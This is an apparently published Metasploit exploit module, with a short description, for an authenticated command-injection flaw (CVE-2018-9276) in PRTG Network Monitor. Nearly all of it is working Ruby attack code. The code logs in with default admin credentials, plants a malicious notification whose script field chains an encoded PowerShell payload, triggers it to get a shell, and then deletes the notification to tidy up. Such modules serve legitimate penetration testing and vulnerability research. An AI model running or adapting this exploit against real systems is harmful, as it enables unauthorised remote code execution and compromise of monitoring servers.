This Metasploit module exploits an authenticated remote code execution vulnerability in PRTG Network Monitor. Notifications can be created by an authenticated user and can execute scripts when triggered. Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user. The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform remote code execution using a Powershell payload. It may require a few tries to get a shell because notifications are queued up on the server. This vulnerability affects versions prior to 18.2.39.
advisories | CVE-2018-9276
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => "PRTG Network Monitor Authenticated RCE",
'Description' => %q{
Notifications can be created by an authenticated user and can execute scripts when triggered.
Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user.
The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload.
It may require a few tries to get a shell because notifications are queued up on the server.
This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Josh Berry <josh.berry[at]codewatch.org>', # original discovery
'Julien Bedel <contact[at]julienbedel.com>', # module writer
],
'References' =>
[
['CVE', '2018-9276'],
['URL', 'https://www.codewatch.org/blog/?p=453']
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 30 # because notification triggers are queuded up on the server
},
'DisclosureDate' => '2018-06-25'))
register_options(
[
OptString.new('ADMIN_USERNAME', [true, 'The username to authenticate as', 'prtgadmin']),
OptString.new('ADMIN_PASSWORD', [true, 'The password for the specified username', 'prtgadmin'])
]
)
end
def prtg_connect
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
'vars_post' => {
'loginurl' => '',
'username' => datastore['ADMIN_USERNAME'],
'password' => datastore['ADMIN_PASSWORD']
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end
if res && res.code == 302 && res.headers['LOCATION'] == '/home' && res.get_cookies
@cookies = res.get_cookies.to_s
print_good('Successfully logged in with provided credentials')
vprint_status("Session cookies : #{@cookies}")
else
fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')
end
end
def prtg_create_notification(cmd)
uri = datastore['URI']
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'editsettings'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'name_' => Rex::Text.rand_text_alphanumeric(4..24),
'active_' => '1',
'schedule_' => '-1|None|',
'postpone_' => '1',
'summode_' => '2',
'summarysubject_' => '[%sitename] %summarycount Summarized Notifications',
'summinutes_' => '1',
'accessrights_' => '1',
'accessrights_201' => '0',
'active_1' => '0',
'addressuserid_1' => '-1',
'addressgroupid_1' => '-1',
'subject_1' => '[%sitename] %device %name %status %down (%message)',
'contenttype_1' => 'text/html',
'priority_1' => '0',
'active_17' => '0',
'addressuserid_17' => '-1',
'addressgroupid_17' => '-1',
'message_17' => '[%sitename] %device %name %status %down (%message)',
'active_8' => '0',
'addressuserid_8' => '-1',
'addressgroupid_8' => '-1',
'message_8' => '[%sitename] %device %name %status %down (%message)',
'active_2' => '0',
'eventlogfile_2' => 'application',
'sender_2' => 'PRTG Network Monitor',
'eventtype_2' => 'error',
'message_2' => '[%sitename] %device %name %status %down (%message)',
'active_13' => '0',
'syslogport_13' => '514',
'syslogfacility_13' => '1',
'syslogencoding_13' => '1',
'message_13' => '[%sitename] %device %name %status %down (%message)',
'active_14' => '0',
'snmpport_14' => '162',
'snmptrapspec_14' => '0',
'messageid_14' => '0',
'message_14' => '[%sitename] %device %name %status %down (%message)',
'active_9' => '0',
'urlsniselect_9' => '0',
'active_10' => '10',
'address_10' => 'Demo EXE Notification - OutFile.ps1',
'message_10' => "abcd; #{cmd}",
'timeout_10' => '60',
'active_15' => '0',
'message_15' => '[%sitename] %device %name %status %down (%message)',
'active_16' => '0',
'isusergroup_16' => '1',
'addressgroupid_16' => '200|PRTG Administrators',
'ticketuserid_16' => '100|PRTG System Administrator',
'subject_16' => '%device %name %status %down (%message)',
'message_16' => 'Sensor: %namernStatus: %status %downrnrnDate/Time: %datetime (%timezone)rnLast Result: %lastvaluernLast Message: %messagernrnProbe: %probernGroup: %grouprnDevice: %device (%host)rnrnLast Scan: %lastcheckrnLast Up: %lastuprnLast Down: %lastdownrnUptime: %uptimernDowntime: %downtimernCumulated since: %cumsincernLocation: %locationrnrn',
'autoclose_16' => '1',
'objecttype' => 'notification',
'id' => 'new',
'targeturl' => '/myaccount.htm?tabid=2'
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end
if res && res.code == 200 && res.get_json_document['objid'] && !res.get_json_document['objid'].empty?
@objid = res.get_json_document['objid']
print_good("Created malicious notification (objid=#{@objid})")
vprint_status("Payload : #{cmd}")
else
fail_with(Failure::Unknown, 'Failed to create malicious notification')
end
end
def prtg_trigger_notification
uri = datastore['URI']
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'api', 'notificationtest.htm'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'id' => @objid
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end
if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up')
print_good('Triggered malicious notification')
else
fail_with(Failure::Unknown, 'Failed to trigger malicious notification')
end
end
def prtg_delete_notification
uri = datastore['URI']
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'api', 'deleteobject.htm'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'id' => @objid,
'approve' => '1'
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end
if res
print_good('Deleted malicious notification')
else
fail_with(Failure::Unknown, 'Failed to delete malicious notification')
end
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], '/index.htm')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
ensure
disconnect
end
if res && res.code == 200
# checks for PRTG version in http headers first, if not found looks for it in html
version_match = /d{1,2}.d{1}.d{1,2}.d*/
prtg_server_header = res.headers['Server']
if prtg_server_header && prtg_server_header =~ version_match
prtg_version = prtg_server_header[version_match]
else
html = res.get_html_document
prtg_version_html = html.at('span[@class="prtgversion"]')
if prtg_version_html && prtg_version_html.text =~ version_match
prtg_version = prtg_version_html.text[version_match]
end
end
if prtg_version
vprint_status("Identified PRTG Network Monitor Version #{prtg_version}")
if Gem::Version.new(prtg_version) < Gem::Version.new('18.2.39')
return CheckCode::Appears
else
return CheckCode::Safe
end
elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
return CheckCode::Detected
end
end
return CheckCode::Unknown
end
def exploit
powershell_options = {
#method: 'direct',
remove_comspec: true,
wrap_double_quotes: true,
encode_final_payload: true
}
ps_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
prtg_connect
prtg_create_notification(ps_payload)
prtg_trigger_notification
prtg_delete_notification
print_status("Waiting for payload execution.. (#{datastore['WfsDelay']} sec. max)")
end
end
